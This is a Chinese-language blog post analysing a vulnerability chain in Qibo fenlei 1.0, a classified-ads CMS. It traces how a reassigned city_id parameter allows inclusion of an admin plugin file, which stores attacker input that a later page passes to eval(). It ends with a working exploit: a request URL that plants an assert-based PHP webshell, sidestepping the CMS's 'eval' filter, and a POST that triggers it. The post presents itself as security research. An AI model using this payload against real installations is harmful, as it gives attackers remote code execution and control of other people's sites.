下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
首先来看一下inc/common.inc.php中
isset($page) && $page = intval($page); isset($id) && $id = intval($id); isset($fup) && $aid = intval($fup); isset($aid) && $aid = intval($aid); isset($rid) && $rid = intval($rid); isset($fid) && $fid = intval($fid); isset($cid) && $cid = intval($cid); isset($cityid) && $cityid = intval($cityid);
可以看到city_id在全局文件中被intval了。
再看到search.php中
$postdb[city_id] && $city_id = $postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。 $postdb[street_id] && $street_id = $postdb[street_id]; $postdb[zone_id] && $zone_id = $postdb[zone_id]; @include_once(ROOT_PATH."data/zone/$city_id.php");//包含 $city_fid=select_where("{$_pre}city","'postdb[city_id]' onChange=/"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')/"",$city_id);
全局有转义 截断不了
但是因为qibo的特殊性 在qibo的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。打开do/js.php 发现
<?php error_reporting(0); require(dirname(__FILE__)."/../data/config.php"); if(!eregi("^([0-9]+)$",$_GET['id'])){ die("document.write('ID不存在');"); }
已经把extract去掉了, 那就找另外的。在admin/hack.php中
if($hack&&ereg("^([a-z_0-9]+)$",$hack)) { if(is_file(ROOT_PATH."hack/$hack/admin.php")){ include(ROOT_PATH."hack/$hack/admin.php"); }else{ showmsg("文件不存在"); } }
再包含文件 再继续跟。在hack/jfadmin/admin.php中
elseif($action=="addjf"&&$Apower[jfadmin_mod]) { $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )"); jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); }
这里入库了。 再看到do/jf.php中
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]); $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1 while($rs2 = $db->fetch_array($query2)){ eval("/$rs2[title]=/"$rs2[title]/";");//就eval了。 eval("/$rs2[content]=/"$rs2[content]/";"); $jfDB[$rs[fid]][]=$rs2; } }
准备写一句话的时候,却发现了,在inc/common.inc.php中
function Add_S($array){ foreach($array as $key=>$value){ @eregi("['///"]+",$key) && die('ERROR KEY!'); if(!is_array($value)){ $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; }
把eval替换了,这样我们就用assert把。
http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}
http://web/new/fenlei/do/jf.php
POST:yu=phpinfo();
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论